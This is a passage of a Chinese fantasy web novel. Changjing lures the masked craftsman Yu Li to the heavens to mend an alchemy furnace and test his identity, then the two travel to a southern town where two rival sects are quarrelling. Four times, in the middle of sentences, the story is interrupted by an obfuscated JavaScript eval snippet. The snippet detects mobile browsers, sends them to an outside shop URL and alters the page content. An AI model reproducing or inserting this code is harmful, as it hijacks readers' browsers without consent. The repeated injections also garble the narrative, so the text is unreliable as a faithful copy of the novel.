郁离轻声:“这些小蚌精都是老板的亲戚每日从东洲那边送来的小亲戚,晚上小蚌精们被开完,第二日又给送回去。运气好真能开出很大很圆的珍珠呢,我试过。” 右手边的铺子堆满了许多不知道装着什么东西的玻璃瓶,一个披着一身长袍的男子闲散地窝在躺椅里,面前的桌子上摆了一颗硕大透明的圆球。 郁离小声:“这个人神神叨叨的,他贩卖梦境,据说可以根据客人的需要量身定制美梦。可我听说,去他这儿为死对头定制噩梦的人更多。” 再往前走的一间铺子里,门口挂着把雪亮的宽刀,一个鹿头妖怪坐在店门口对着镜子在保养自己刚冒尖的鹿角。 郁离更小声:“这其实是间武器铺子,但他店里最抢手的货是他自己的角。他每次都当街取自己的角,就是门口挂着那把刀,特别锋利,一刀就剁下来了,所以这款刀卖得也最好。” 常瀞听完:“……” 你们鸡鸣巷难怪名气大啊,卖的东西都这么有“特色”,除了这儿,在其他地方根本也买不到啊。 不知不觉间,两人走回到妙笔。 常瀞立住:“到了,那我也回下榻的地方了。明天花间乐坊见,我和寒酥正式向你们道谢。” 郁离嘴角微扬:“嗯,明天见。” 常瀞摆摆手,向前走了几步,回过头又说了一句:“其实我今晚只是想弹琵琶给你听。” 郁离同手同脚走进妙笔,阖上店门,久久不动。 这边常瀞回到下榻的客房,发现重寒酥房内没人。 他正奇怪着,重寒酥就兴高采烈地捧着一个花盆推门而入,仔细一看里面还有一株绿苗。 常瀞发誓,他从未在重寒酥脸上看到如此夸张的开心表情:“这是端了盆什么回来?这么高兴。” 重寒酥小心地将手中的花盆摆在桌子上,向土里洒了一些水:“就是普通的花苗。” 常瀞无语:“我其实还是有点常识的,春神大人,这不就是小麦苗吗。” 重寒酥有些尴尬:“是是是,就是小麦苗,但是这可是新品种!你回上清境了可别乱说啊。” 常瀞:“整个上清境谁不知道你春神爱种地,至于吗。” 重寒酥声音变高:“怎么不至于!我堂堂春神掌管农桑,平时种种地体察人间五谷果蔬生长规律不是很正常!就因为天尊开玩笑说了一句让我多种一些沙丘月见草给他。他元灵一个纠察灵官就敢跑到我的院子里,把我辛辛苦苦种的地全都毁了,然后换成沙丘月见草!” 常瀞安慰:“他有些过于死板、不知变通了,真像个那种爱较真的小孩子一样。” 重寒酥继续控诉,完全不是他平日温润如玉的样子:“他是不是有什么毛病!我后来种一次别的,他就给我拔一次,害得我只能在房里偷偷种。他就是有毛病!” 常瀞继续安慰:“消消气消消气。不过这人是有些奇怪,其他事儿上看着也挺正常啊,就是偶尔会像犯病了一样。” 重寒酥把茶杯重重放下:“羲和大人也偷偷跟我骂过,好像只是对他随口说了一句晚上熬夜太困了,怕起不来溜太阳。第二天他元灵就早早去旸谷赶太阳了,把踩点到的羲和大人吓了个半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196564|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死,怕被定个渎职的罪名,硬生生忍下来谁也不敢说。” 常瀞:“元灵说来应当是上清境里在位时间最长的了,谁都没他飞升的早。” 重寒酥:“那也不是他就能无法无法的理由!” 常瀞:“好了好了,他后来不是也给你道歉了。” 重寒酥:“那还是因为我去找了天尊,他才被按着头给我道歉的。都怪他给我搞得再也不敢光明正大的种,生怕他哪天犯病再给我拔了。 常瀞:“换个话题,说说你俩今天吃完饭都去哪了吧。” 重寒酥想起今日的见闻这才消气,渐渐眉飞色舞起来:“鸡鸣巷真是个好地方!我往后要常来!” 原来他同褚游用完午饭,就被他带着闲逛消食,两人在巷子里穿来穿去。 在路过一间铺子时,重寒酥彻底移不动脚步。 那是一间非常神圣的铺子,重寒酥如此形容道。 铺子里的高低架上摆满了一排一排的花槽,种满了各种各样的五谷果蔬,有些品种连他堂堂春神都没见过。 他快乐地徜徉在这间铺子里足足到天黑,其间跟店主老黄牛妖一见如故,探讨了好多耕作妙招。 他带回来的这盆小麦苗就是老黄牛送的。 常瀞:“……” 这鸡鸣巷的奇人店主真的好多样啊。 常瀞:“你不是好多都没见过,怎么就带回来一盆。” 重寒酥很想给他翻个白眼:“这客栈里什么条件都没有,对秧苗不好。等咱们走的时候,褚游说再带我去都买下来,他真是个好人。” 常瀞眯起眼睛:“我今日也在巷子里转了转,怎么没注意到那家店。你说他带着你穿来穿去,不会是故意带你去那的吧。” 重寒酥有些惊讶:“不会吧,他怎么可能知道我喜欢种地。” 常瀞走进自己的卧房,声音隐隐传来:“谁知道呢,也许是我多想了,这鸡鸣巷里就是巧合多多。” 次日,郁离顶着日光又来到了花间乐坊,在门口恰好遇见褚游。 褚游大手一挥,揽住郁离:“哎呀,我可听说了,昨夜花间会上,星君为你献奏。” 郁离将褚游的手臂轻巧拨开:“少来。” 褚游又揽回去:“我看你能嘴硬到什么时候。” 两人维持着这个姿势,走进雅间。 施娘、重寒酥和常瀞已然落座。 常瀞侧对雅间大门,余光瞥见搭在郁离肩上的手臂,笑着抬眸看向褚游。 褚游对上他的视线,明明对方在笑,却无端感觉后背一凉,将手臂规规矩矩地放下了。 席间,常瀞与重寒酥就虞府魔踪一事,郑重向鸡鸣巷表达了感谢。 施娘也十分客气地表示,这是鸡鸣巷应该做的。 褚游向后一靠:“干嘛啊,咱们不都挺熟了,非得这么搞吗?” 气得施娘在桌下狠狠踹了他一脚。 常瀞看了一眼一直垂着头不知道在哪神游的郁离,笑着对施娘道:“我其实还有个不情之请,不知施巷主同不同意。” 19. 试探(四) 施娘坐直:“褚游不说了,咱们不都挺熟了,星君但说无妨。” 常瀞:“其实就是想再借你们阿离一用。我的同僚山旭听说我遇到一个手艺特别好的人,求着我带他回上清境一趟,说他有个丹炉需要修补,他找了好多人都没有修好。” 郁离还沉浸在昨晚的情绪中,听见自己的名字,回过神来:“啊?” 啊??? 施娘笑道:“那星君问我做什么。虽然我们三位巷主一般是不能随意离开巷子,但阿离来鸡鸣巷两百年间很少离开,放他出去歇几天这个主我还是能做的。” 郁离想到自己的保持距离计划,开口婉拒:“那或许可以让他来鸡鸣巷,我手头接下的生意还有不少,下月努努力或许能挤出来一个名额,星君可以让他下月再来。” 常瀞:“我也是这么跟他说的,可他神神秘秘的,非说这活儿只能在上清境干,我看他也确实挺着急,就答应了。” 褚游截过话头:“咱们都这么熟了,星君如此诚恳地开口,都是朋友,你怎么能拒绝?而且那可是上清境耶,一般人想去都去不了,你还推辞。” 郁离:“……” 郁离:“那好。” 话都说到这份儿上了,要再不答应,反而更让常瀞起疑。 尤其他这次来鸡鸣巷,行为和态度都奇奇怪怪的,像是有点儿试探的意思? 只是好不容易才下定决心要保持距离的,如今却越来越纠缠不清了。 因为郁离的铺子里还有一些之前接的生意没有做完,常瀞便决定等等他,晚几天再走。 重寒酥听后兴高采烈地表示,他也可以晚几天,然后就一头扎进老黄牛妖的铺子里交流种地心得。 褚游也假装自己很有兴趣,天天跟在一旁听。 几日下来,他听得头晕眼花,也算入了种地的门。 常瀞这几日就比较休闲了,搬了把躺椅放在妙笔的大堂里。 郁离在一旁干活儿,他就窝在躺椅里睡觉。 郁离赶工赶到眼冒金星,他打个哈欠起来给郁离泡杯茶,继续睡觉。 期间鼠爷短暂地醒来过一回,发现常瀞又牛皮糖一样跟来鸡鸣巷,极其生气。 一人一鼠互喷十余合,鼠爷依旧败。 它气得肚子圆了一大圈,这么多年了,能不能让它赢一回! 常瀞看见鼠爷明显变圆一圈的肚子,有些担心它把自己气炸了,想了想翻腾半天,取了一个兔毛的小软垫出来,送给鼠爷。 兔毛小软垫是他宫里的管家白兔,还是一只幼兔的时候用过的。白兔懂事儿后知道软垫是兔毛做的,看见软垫就眨着它的红眼睛掉眼泪。 哭得常瀞极其内疚,赶忙收起来,并且发誓今后再也不买任何兔毛制品,才算把他的小管家哄好。 至于如今,彻底成年且操着沧桑大叔音的白兔,一惹怒常瀞,常瀞就扬言要拔光它的毛做垫子的事情,就全都是后话了。 十分好哄的鼠爷收到兔毛软垫后,立刻消了气。 它慢吞吞爬上郁离的桌案,在边角找了一块地方,摆好兔毛软垫卧上去,宣布今后这里就是它的专属地盘。 就这样,妙笔大堂的灯一直亮着,郁离在赶着工,常瀞与鼠爷在一旁睡着觉,看起来温馨感十足。 郁离:“……” 谁说温馨?!谁说十足?!都给他起来帮他磨刀,不许睡了! 总之,赶了好几天工彻底结束手头生意的郁离,在饱睡一夜之后,迷迷糊糊就被常瀞带到了上清境。 在郁离听说过的各种说法中,上清境被形容为世间最美的地方,事实也正是如此。 上清境禁传送阵,他是被常瀞带着飞上去的,物理意义上的飞。 在穿过一层隐形的结界后,他们才踏上了具有实感的地面。 上清境建在高高的云端之上,难怪说入上清境是飞升,位置那么高,修为不够根本都到不了。 这里到处都仙气飘飘的,古树名木点缀在亮闪闪的建筑之间,郁离甚至看到了远方隐隐地有鸾鸟和金龙的身影在飞翔。 他还发现,上清境的灵气太浓了,浓郁到结成了空中的雾气,却并不会让人感觉到潮湿。 上清境之所以看起来仙气飘飘的原因,一半功劳在天上的云彩,另一半就是这灵气水雾。 重寒酥双手笼在袖子里:“我初到上清境也很惊讶,那时才知道原来灵气浓到一定程度是可以变成水雾的。” 常瀞伸了个懒腰:“上清境里面还有一片灵力化成的湖呢,那儿的灵气更浓。就是可惜那片湖是禁地,不能带你进去。” 没走几步,重寒酥就眼尖地发现正在从远处向他们走来的人,好像是他前不久才跟常瀞骂过的元灵。 他愤愤地停住脚步,留下一句“回头见”,就绕路离开了。 常瀞无奈,毕竟对方也应当看到他们了,总得留下个人维持体面。 于是,他走到近前主动同元灵打过招呼,便准备赶紧带郁离离开。 元灵看上去和人间十二三岁的少年一般大,就连神情也如稚嫩的孩童一般。 他疑惑地问:“春神大人为何绕去了另一条路。” 常瀞:“……” 为什么绕路,你心里不清楚吗? 常瀞敷衍道:“他临时想起点事儿,灵官别多想。” 元灵恍然大悟般点点头。 常瀞:“……” 竟然信了,这人还挺好骗。 他朝元灵点了下头,带着郁离就要走,没走出几步却发觉郁离没跟上来。 他一回头,就看到元灵拽住了郁离的袖子。 元灵眯起眼问常瀞:“他是谁,我似乎在哪里见过他。” 常瀞心道,这人怎的还没完没了了。 “这位是酆都鸡鸣巷的巷主,被我请来帮忙的。”他继续敷衍,“灵官说笑了,您一直待在上清境,他可是第一次来这儿,您上哪里能见过他。抱歉,我们还有事儿,先走了。” 说着常瀞就把郁离拉走,一边走还一边小声对他说:“这是个怪人,以后看见他离他远一点,多老土的搭讪词。” 郁离还在状况外,但他能确定他从来没见过这位纠察灵官。 在两人身后,元灵一直牢牢盯着郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196565|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离的背影,直到他们走出很远,口中还在嘀咕。 不对……不对,他的气息真的很熟悉。 …… 这段小插曲过后,常瀞终于一路畅通无阻地将郁离带回了自己的月宫。 一走进月宫的拱门,郁离就被震撼到无以复加。 好一个金碧辉煌、雕栏玉砌。 这几日让常瀞窝在他的妙笔里,真是委屈他了。 管家白兔早已候在门口,一蹦一蹦跳过来,两只软软的长耳朵随着它蹦跳的动作,有节奏地摆动。 郁离早在看见白兔的一瞬间眼睛就亮了,他十分克制地询问:“星君,这是。” 是兔子!一只真的、长了毛的兔子!好想摸它! 常瀞尴尬一笑:“这是我的管家,可能,不大像普通的兔子。它不太喜欢被人摸,之前天尊不知道,随手摸了它一把,它都敢一脚蹬在天尊脸上。” 郁离背在身后,已经兴奋地跃跃欲试的手僵住了。 他还是没太明白常瀞的意思,什么叫管家,这不就是一只看上去可可爱爱普普通通的小白兔吗? 他不顾常瀞的劝阻,缓缓靠近,却在白兔站直开口说话的一瞬间,整个人僵在了原地。 白兔一开腔,浑厚沧桑的大叔音响起:“星君,可算等到您回来了,您最近怎么这么爱往外跑。嗯?不知这位是?” 郁离:“……” 不是,也没人告诉他,这小白兔的壳子里是个一个大叔啊喂! 他颤抖着退回常瀞身边。 太可怕了,太可怕了,能不能不要让它说话。 郁离沉浸在惊恐中被带进了月宫的主殿,月白剔透的地砖干净得可以映出他的影子。 耳边是大叔音白兔一直絮絮叨叨的声音,他恍恍惚惚地坐下,恍恍惚惚地接过常瀞递来的茶水,都忘了自己现下戴着面具没法喝茶。 常瀞被他失魂落魄的反应逗乐了,悄悄指挥白兔去给他端茶点。 白兔十分有礼貌地奉上一盘精致茶点。 “请。”大叔音在身前炸响。 郁离手一哆嗦,差点儿将茶水洒了。 常瀞直接被他乐地笑出声。 郁离:“……” 他重重放下茶杯,向白兔道完谢,转头就对常瀞道:“星君,您看我这也来了,丹炉什么时候修。” 常瀞绷住笑脸:“不急不急,今日天色已晚,来上清境的飞行时间那么长,你肯定也累了,明日咱们再去找他。” 他让白兔收拾收拾,准备上菜。他考虑到郁离不能随意摘下面具,还为他准备了一个单独的房间用餐。 晚饭看上去都好吃又好看,即使郁离已经没有味觉,也很给面子地吃掉了不少。 用完一餐晚饭的功夫,郁离已经对白兔有了些许免疫,不再时不时地被它冒出的声音吓到。 他感谢完常瀞的热情款待,矜持地表示既然今日不修丹炉了,那他想先去休息。 常瀞漱完口,风情万种地朝他一笑:“好啊,只是我这月宫里平日都不留人过夜,你看你今夜是想和毛绒绒的兔兔挤挤,还是,跟我呢?” 20. 试探(五) 正在收拾碗碟的白兔:“?” 兔兔,是指它吗? 郁离木着脸,果然,这一趟没这么简单,就是试探他呢。 不过问题应当不大,毕竟他的伪装如此严密。常瀞现如今只是起了疑心,他只要小心谨慎点,应付完这一趟,今后就再没有打交道的需要了。 他还可以和从前一样,在暗地里偷偷关注常瀞就好。 白兔不明所以,粗着嗓门提醒道:“星君,您是忘了吗,咱们宫里有能让这位客人住的空房间。” 郁离从未觉得白兔的声音如此好听,对白兔投去感激的眼神。 常瀞被揭穿也不尴尬,在软塌上换了个舒服的姿势:“逗你玩的,这傻兔子还当真了。” 说着他就朝白兔毛绒绒的屁股上踹了一脚。 郁离方才被逗了都没急,这会儿急了:“哎,星君怎么还踢它。” 白兔这些年被欺压惯了,猛然有个人上来为它说话,感动地老泪纵横。 它激动地一蹦一蹦跳进郁离怀里,就开始控诉常瀞这些年的暴行,包括拽耳朵、踢屁股、在它背毛上擦手等种种不良行为。 白兔身上暖暖的,绒绒的,郁离下意识就把它搂紧,试探地摸上白兔的背。 感知到背上被抚摸,白兔僵了一下。它之所以不喜欢被人摸,就是因为被常瀞时不时拿它擦手的行为留下了阴影。但是这个人刚为它说完话,应该是个好人吧,而且他的气息也很舒服。 手掌轻轻抚摸下的白兔身躯明显软化,郁离壮着胆子肆意起来。 他收回之前的话,能发出大叔音的白兔也是兔子!摸起来手感超好的兔子! 常瀞看着这一大一小抱在一起,觉得自己倒像是成了个多余的外人。 他嘴角抿起:“不是吧,你这就信了,你觉得我像是会虐待它的那种人吗?我方才根本就没有用力啊。” 郁离手下动作不停:“那它说的呢,你拽它耳朵,拿它擦手什么的。” 常瀞:“拽它耳朵,那是它气我,它吵我睡觉,我都没用过力。擦手,,,是因为我那阵子很无聊,逗它玩呢。在它明确表示不喜欢后,我就没再这么做过了。” 白兔察觉到郁离似乎有被说服的迹象,更深地埋进他怀里,后背也往他手心里拱。 郁离心又软了,坐直身子认真对常瀞道:“那也不行,它就是只兔子,你跟它较什么劲,以后不可以再欺负它了。” 白兔疯狂点头。 常瀞:“……” 行,你们真行。 夜色正浓,郁离被热情似火的白兔带到客房休息。 月宫是整个上清境赏月最佳的位置,此刻这间客房的窗外恰好就能瞧见月亮。 或许是因为郁离身处高天之上,或许是因为错觉,他从未觉得他离月亮这么近过。 月光薄薄地笼住窗外的竹林,四下里万籁俱寂。 熟悉的竹林,熟悉的月光,还有,熟悉的人。 此情此景,今夜若用来睡觉,该有多浪费。 郁离将用来照明的烛火吹灭,抱膝坐在床上看月亮。 不知过去多久,门外传来了细碎的响声。 郁离警惕地盯着房门,眼睁睁看着门被推开了一条小缝,一个脑袋鬼鬼祟祟地探了进来。 两双眼睛刹时隔着郁离的木头面具四目相对。 郁离:“……” 郁离:“不知这么晚了,星君有何事。” “咳咳咳!”常瀞被吓到不停地咳嗽,“呃,我,我就是来看看你睡得好不好,习不习惯。” 不是,这人怎么大半夜不睡觉啊! 他特意熬到这会儿,连明日可能会长黑眼圈都不顾了,就是想着这次机会千载难逢,天时又地利的,能溜进来看看他睡觉的样子,毕竟睡着觉总不能还戴面具吧。 计划落空,常瀞却理不直气也壮,胡搅蛮缠:“再说了,这是我的地盘,我去哪还需要同谁打招呼吗?” 郁离感觉哪里不对劲儿,又说不上来:“那你现在看到了,我挺习惯的,请回吧。” 常瀞又计上心头:“可我又不习惯了,长夜漫漫,我突然好孤独好寂寞睡不着,你这儿的床也不小,不如今晚还是咱俩挤挤吧。” 郁离礼貌拒绝:“星君,这于礼不合。” 常瀞见他拒绝也不气馁,打定注意今夜要赖在这。他光明正大地走进来,掀开被子就睡到了床上。 郁离:“……” 常瀞拍拍身侧的床铺:“愣着做什么,躺下来睡呀。” 郁离往后挪了挪:“不必了,今夜本想修炼。你睡吧,我就在你旁边。” 见状,常瀞也不再坚持,闭上眼睛装睡。 哼,看谁熬得过谁,等郁离睡着,他就立刻掀开他的面具。 然而事与愿违,等着等着,一直将睡觉奉为人生一大乐事的常瀞终究还是没熬过郁离,睡着了。 次日清晨,郁离靠在墙上,睁开双眼。 昨夜常瀞沉沉睡去的样子,让郁离回想起了从前在深山时两人也曾同床共枕过。 他沉默着扒开常瀞不知何时抱住他双腿的手臂。 都过去三百年了,他睡觉怎么还这么不规矩! 用过早饭,常瀞溜溜达达领着他来到隔壁去找山旭。 山旭也是个奇人,少时跟着一个“老神医”招摇撞骗,靠着超强的运气和一点点可以忽略的医术,一路从乡野骗到了皇宫。 在皇宫,山旭认识了几个同样靠招摇撞骗混进来的炼丹师,就此开启了传奇的一生。 炼丹可比起老神医的望闻问切高明有趣多了。他若是把这门手艺学会,何愁发不了大财。 他开始巴结炼丹师,炼丹师被他恭维的开心了,随手将丹方都扔给了他。 炼丹师虽说是假的,丹方却都是真的。许是山旭真的有着超出常人的天赋,他炼的第一炉丹丸就成了。 丹成的瞬间,天降七彩霞光,鸾鸟相迎护送他入上清境,他就这么轻而易举的飞升了。 凡人飞升与否,何时飞升,都是遵循上清境中三元鉴的指引,或因修为高强,或因在某方面有着极强的天赋。 山旭就是因为后者。他飞升后,上一任上清境丹师还在世,在向他传授完毕生绝学后,才消散于天地间。 老丹师临别前依依不舍拉着他的手:“为师不放心,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196566|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问你一遍,你学炼丹是为了什么。” 山旭脱口而出:“为了发大财。” 老丹师:“你个小兔崽子,咳咳,你想让我永不瞑目啊!” 山旭举起两根手指发誓:“好好好,您老快歇着吧,我这么正直,定是为护天下苍生而学。” 老丹师弥留之际也没看清他具体举了几根手指:“你最好是。” 常瀞领着郁离刚踏进山旭的丹室,一个蓄着一把乱糟糟胡子的中年人就冲了过来。 “这就是你说的那位能修好丹炉的工匠?快来快来!” 于是,郁离还未反应过来,就被拉到了丹室深处一个巨大的丹炉前。 山旭:“就是这个丹炉,你快看看能不能修。” 郁离围着丹炉转了一圈,端详了半天丹炉上破着的一个大口:“应当没问题。” 山旭差点儿喜极而泣:“太好了太好了,这次你可真是帮了我大忙。” 常瀞慢悠悠走过来,挡在山旭身前:“慢着,先别急,咱们先把价钱谈好。他的工价可不低哦,而且这次还是前所未有的外出做生意。若不是看在我的面子上,他才不给你修炉子呢。” 山旭:“咳,咱们都是熟人了,价钱好商量。” 常瀞摇头。 山旭:“我炼丹偷偷摸摸去黑市赚点银子容易吗,就算好多人看我是个糟老头不敢买我的丹,我都不敢说我是上清境的。我这学炼丹本来是为了赚大钱,怎么反而离我的目标越来越远了呢。” 常瀞:“哎呀,我看你这个丹炉好像是你师父留下的吧,你是偷偷摸摸拿它搞啥歪门邪道呢,还把炉子给炸了。如果我没记错,这可是上清境唯一一尊能炼神品丹药的炉子吧,你说这要是让人发现了,啧啧啧。” 山旭咬牙:“行,快修吧,价钱你们定就是了。” 郁离掏出材料,动手开始修。 山旭心里还念着他即将便瘪的钱袋:“要不是这丹炉太大,装不进储物袋,之前被我找来修丹炉的人水平又太差。我还能沦落到被你拿捏。” 常瀞摊开手掌:“你就别念叨了,定金拿来。” 丹炉修了足足五日,实在是这尊丹炉用料太过扎实,工艺太过复杂。 也不知老丹师是上哪找人做的丹炉,让郁离都惺惺相惜,想同这人探讨一二。 丹炉修好那天,常瀞和山旭一人一头拽着钱袋,拉扯半天,钱才到手。 他无情地不顾身后仍在泫然欲泣的山旭,拉起郁离就走。 二人回到月宫,白兔殷勤地摆上茶水茶点,等郁离挠挠它的下巴,它才满足的离开。 既然来上清境这一趟的目的已经完成了,郁离想着不能再拖了,不然他怕是会越来越不舍。 他组织了一下语言,刚准备开口向常静辞行,月宫就来了一名访客。 来人是一名身着彩衣的少女,衣服上吊着好些五颜六色的挂饰,走起路来叮当乱响。 她脸上挂着灿烂的笑容同常瀞打了个招呼。 明明是个身材有些矮小的女孩子,笑起来却如高天之上艳阳一般夺目。 少女闭着眼睛慢慢走过来。 原来,她目不能视。 21. 秘境(一) 少女名叫祝星悬,是上清境唯一的一名卦师。 她手里拄着一根同样五颜六色的手杖,走得缓慢却稳健。 郁离小跑着移开了她身前的一个盆栽。 祝星悬停下脚步,对着郁离的方向:“谢谢你呀,你就是常瀞带回来的那位吧。” 郁离有些疑惑:“是的,叫我阿离就好。” 祝星悬还是笑着的:“你是不是在好奇,我为何可以准确找到你在的方向?” 郁离引着她朝前走:“是有一些。” “哈哈,许多人都好奇来着。我不是先天失明,而且不知道是不是因为修习卦术的原因,我可以看到一点模糊轮廓,不过只有生灵的轮廓。” “轮廓?” “是的,比如此刻的你在我眼中是一团白色的光,虽然里面好像还掺杂了些别的颜色,但已经是我近些年间见到过的最接近纯白的光了。” “那星君呢。”郁离不好奇自己为何是这样的颜色,倒好奇起常瀞来。 “他啊,不告诉你。今后有机会再跟你说。”祝星悬俏皮一笑。 常瀞收完室内多余的摆设,也踱步过来:“你们两个刚认识就聊什么呢,这么开心。” “不告诉你。”两人几乎异口同声。 常瀞:“……” 常瀞:“行。” 祝星悬入座:“姬润还未归吗。” 常瀞也懒洋洋的坐下:“我上次同他祭拜完揽晴姐准备走的时候,他突然说,想回从前的大昭王都那片看看。” 祝星悬:“我没记错的话,你与姬润入上清境前就相识吧,怎么不一起回去看看。” 常瀞坐直了一些,眼神飘向窗外:“快三百年过去了,沧海桑田,国破家亡,还回去作什么呢。” 自重逢以来,郁离还是第一次听常瀞提起从前。 从前太过沉重,沉重到最初相遇的甜都压不住后来二人遭遇种种的苦。 祝星悬轻咳一声:“瞧我这张嘴,还是这么不会说话。好啦好啦,我今日是为你带了一个好消息来的,希望你听过后心情能变得好一点儿。” 常瀞扭过头来。 祝星悬:“我昨日有感而发,为你起了一卦,往南走,或许会有惊喜。” 常瀞:“‘或许’?你何时卜卦变得如此不准确了。” “卦象只显示,这一趟你会有些收获,可具体是什么收获,我可没神到能精确卜出来的地步。”祝星悬话锋一转,指了指郁离的方向,“对了,我的卦象还显示,这一趟必须把他带上。” 郁离:“啊?!” …… 南疆,六河镇。 郁离直到同常瀞一起走进六河镇都没想明白,他怎么又跟着来了。 他只记得,当常瀞听祝星悬说完,眼睛一眨一眨看着他时,他就什么拒绝的话都说不出来了。 最后一次,最后一次了。郁离在心中反复默念。 按照祝星悬的说法,这次常瀞的机遇便是在南疆的六河镇。 南疆多山,不少城镇都是依山而建,甚至建在山上。 六河镇便是这么一座建在山上的镇子,六条宽窄不一的河在山北交汇,绕着山脚从山南奔涌而出时就汇成了一条。 宽阔的河面波光粼粼,河水静默着一路向南而去。 六河镇好像离碧影山挺近,不如这次向常瀞辞行后,顺道去看看吧。 自入鸡鸣巷以来,郁离很少离开,仅有的几次都是为了找一些珍稀材料。 碧影山他更是没有再回去过了,鸡鸣巷不得随意离开的规矩是原因,无颜回去面对也是原因。 鉴于祝星悬只给他们指了一个地名,其余什么信息都没有。 常瀞站在街面上,思索片刻,决定先去茶楼看看。茶楼闲人较多,说不定能听到什么有用的信息。 在第不知道多少位路人经过并回头看他们后,常瀞终于按捺不住。 他小心隐藏起自己真正的意图,装作无意般开口:“那啥,阿离啊,这六河镇毕竟是个小地方,不必咱们先前去的庐山镇那么繁华。你这走在大街上还带着个面具,怪扎眼的,不如就摘下来吧。” 郁离轻飘飘解释道:“抱歉,这是鸡鸣巷的规矩,既然做了巷主就得一直戴着面具。若是星君觉得我走在一旁太过显眼,我可以现在就回巷子去,绝对不给星君添麻烦。” 常瀞像一拳打在棉花上,苍白地解释道:“我不是那个意思。” 茶楼里果然热闹,门庭若市。 他们刚落座,就听到距离不远的一桌人在议论。 “你们最近发现没啊,咱们镇上最近来了不少奇奇怪怪的人。” “咱镇子这么偏,平时根本见不到外边来的人,还能没发现?” “我媳妇儿胆子大向他们打听过了,这些人是什么修士,就是修仙的!” 修士?还是好多修士,这么多修士聚在一个名不见经传的小镇上干什么? 不等郁离细细琢磨,楼上便传来了一阵剧烈的争吵声。 他们混在一众看热闹的人群中,溜达到茶楼二层。 只见一个白瓷茶盏碎在地上,茶水洒了一地。有两路人分立碎掉的茶盏两侧,互相对峙着。 身着黑衣的那路人高声道:“这茶楼也不是你们太虚山开的,还不让我们喝茶了不成。” 白衣这边一个个子最小的顶在前面:“明明是你玄风门口出狂言挑衅我们,又动手在先。我才失手打碎你的茶盏,早知道这巴掌就该在扇高点儿,扇在你脸上。” 常瀞听清那两人的对话,口中嘀咕:“太虚山,玄风门,不会这么巧吧。” 郁离好奇地凑到他身边。 原来常瀞飞升之前所在的宗门便是太虚山。 太虚山、气隐宗、玄风门曾是当世最古老的三个修仙宗门,其中太虚山与玄风门实力相当且略强于气隐宗。 气隐宗三百年前颇为离奇地全宗被屠,至今未找到凶手。另外两个宗门却一路高歌,明里暗里地竞争当世头名,连带着宗里的小辈也相互之间暗斗不断。 现在看来,三百年过去了,这两个宗门的关系还是那样差。 眼看着这两个宗门就快在这狭小的茶楼里打起来了。玄风门那边五个人,太虚山这边才三个,真要打起来太虚山肯定要吃亏。 常瀞忍了又忍还是被刻在骨子里的不能输给玄风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196567|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门的信念打败了。 他用胳膊轻轻怼了郁离一下,示意他配合。 常瀞故作高声:“方才在镇子东头看到一只好大的黑鸟掉下来了,腿上好像还绑着一个红色的布条。” 郁离虽然不明白他在说什么,但还是接道:“是啊是啊,好大一只呢。” 玄风门那几个人果然听到,一个个都慌了神,凑在一起小声议论。 随后领头的那位冲太虚山撂下一句狠话,迅速离开了。 常瀞小声:“呸,真没想到玄风门这么多年过去,还是这么老土,用飞鸟传讯。” 郁离:“……” 看热闹的人群散了,太虚山三人朝他们走来,显然也看出来了方才是他们在解围。 其中在对峙中一直站在后方,没参与争吵的那人走到最前面,露出了整张脸。 郁离愣住。 这人竟有三分像他! 郁离大惊之下,扭头就看向身旁的常瀞。 常瀞果然也陷入了恍惚,甚至都没发现郁离的不对劲儿。 不是,这什么情况啊,这人是谁? 老茅平时看话本子给他念叨的,白月光替身,宛宛类卿情节就要发生在他身上了? 常瀞这边心里也在疯狂发问。 这人是谁?怎么同他的郁离有几分相像?! 但是很快地,他就冷静下来。 不对,给人的感觉不对。他不会认错的,只是皮相上的相似罢了,这世界上相似的人多了去了。 他家郁离是独一无二的,这人还不如没露脸的小巷主给他的感觉更像。 那人缓缓向他们走来,明明脸上挂着平易近人的微笑,却无端生出出尘脱俗之感。 